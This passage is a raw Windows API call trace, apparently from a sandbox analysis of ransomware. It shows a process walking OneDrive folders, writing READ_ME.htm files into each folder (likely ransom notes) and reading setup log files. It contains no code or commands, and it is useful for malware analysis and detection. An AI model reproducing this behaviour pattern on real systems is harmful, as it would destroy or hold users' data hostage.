ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2320790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2320790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2320790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2320790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x122a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2320790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2320790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2320790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x122a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf21c9b30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2320790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2320790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2320790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2320790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2320790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x122a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2320790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2320790, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2320790, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x122a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.125] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\yo-ng\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\yo-ng\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.126] GetFileType (hFile=0x1d0) returned 0x1 [0146.128] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2320790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2451290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2451290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.128] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2451290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2451290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2451290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xbea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.128] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2451290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2451290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2451290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xbea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.128] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2320790, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2451290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2451290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.129] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2451290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2451290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2451290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xbea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.129] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2451290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2451290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2451290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xbea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.129] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\zh-cn\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\zh-cn\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.130] GetFileType (hFile=0x1d0) returned 0x1 [0146.133] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2451290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2581d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2581d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.133] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2581d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2581d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2581d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xbea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.133] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2581d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2581d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2581d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xbea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.134] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2451290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2581d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2581d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.134] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2581d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2581d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2581d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xbea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.134] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2581d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2581d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2581d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xbea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.134] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\zh-tw\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\zh-tw\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.135] GetFileType (hFile=0x1d0) returned 0x1 [0146.136] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2581d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26d89f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26d89f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.136] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf26d89f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26d89f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x134a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf26d89f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26d89f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x134a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2581d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26d89f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26d89f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf26d89f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26d89f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x134a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.137] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf26d89f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf26d89f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf26feb50, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x134a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.137] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\zu-za\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\zu-za\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.138] GetFileType (hFile=0x1d0) returned 0x1 [0146.139] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.143] GetFileType (hFile=0x1d0) returned 0x1 [0146.146] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.146] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe906fbd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe906fbd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0146.146] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe906fbd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe906fbd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0146.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe906fbd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe906fbd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0146.147] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe906fbd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe906fbd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0146.149] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe906fbd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe906fbd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe906fbd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe906fbd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3e5a330, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x3b26, dwReserved0=0x0, dwReserved1=0x0, cFileName="2021-02-22_125735_378-458.log", cAlternateFileName="2021-0~3.LOG")) returned 1 [0146.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe8de8470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8de8470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf417a010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x448a, dwReserved0=0x0, dwReserved1=0x0, cFileName="2021-02-22_125735_3c4-a98.log", cAlternateFileName="2021-0~2.LOG")) returned 1 [0146.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf52e20f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x1f4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="2021-02-22_125735_4d4-a74.log", cAlternateFileName="2021-0~1.LOG")) returned 1 [0146.150] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf52e20f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x1f4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="2021-02-22_125735_4d4-a74.log", cAlternateFileName="2021-0~1.LOG")) returned 0 [0146.152] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe906fbd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe906fbd0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.152] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe906fbd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe906fbd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3e5a330, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x3b26, dwReserved0=0x0, dwReserved1=0x0, cFileName="2021-02-22_125735_378-458.log", cAlternateFileName="2021-0~3.LOG")) returned 1 [0146.153] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe8de8470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8de8470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf417a010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x448a, dwReserved0=0x0, dwReserved1=0x0, cFileName="2021-02-22_125735_3c4-a98.log", cAlternateFileName="2021-0~2.LOG")) returned 1 [0146.153] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf52e20f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x1f4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="2021-02-22_125735_4d4-a74.log", cAlternateFileName="2021-0~1.LOG")) returned 1 [0146.153] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf52e20f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x1f4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="2021-02-22_125735_4d4-a74.log", cAlternateFileName="2021-0~1.LOG")) returned 0 [0146.154] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_378-458.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.157] GetFileType (hFile=0x1d0) returned 0x1 [0146.158] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d238 | out: lpFileSizeHigh=0x21d238*=0x0) returned 0x3b26 [0146.158] ReadFile (in: hFile=0x1d0, lpBuffer=0x28b0d08, nNumberOfBytesToRead=0x3b26, lpNumberOfBytesRead=0x21d118, lpOverlapped=0x0 | out: lpBuffer=0x28b0d08*, lpNumberOfBytesRead=0x21d118*=0x3b26, lpOverlapped=0x0) returned 1 [0146.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log", nBufferLength=0x105, lpBuffer=0x21cbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log", lpFilePart=0x0) returned 0x5c [0146.247] SetErrorMode (uMode=0x1) returned 0x0 [0146.247] CreateFileW 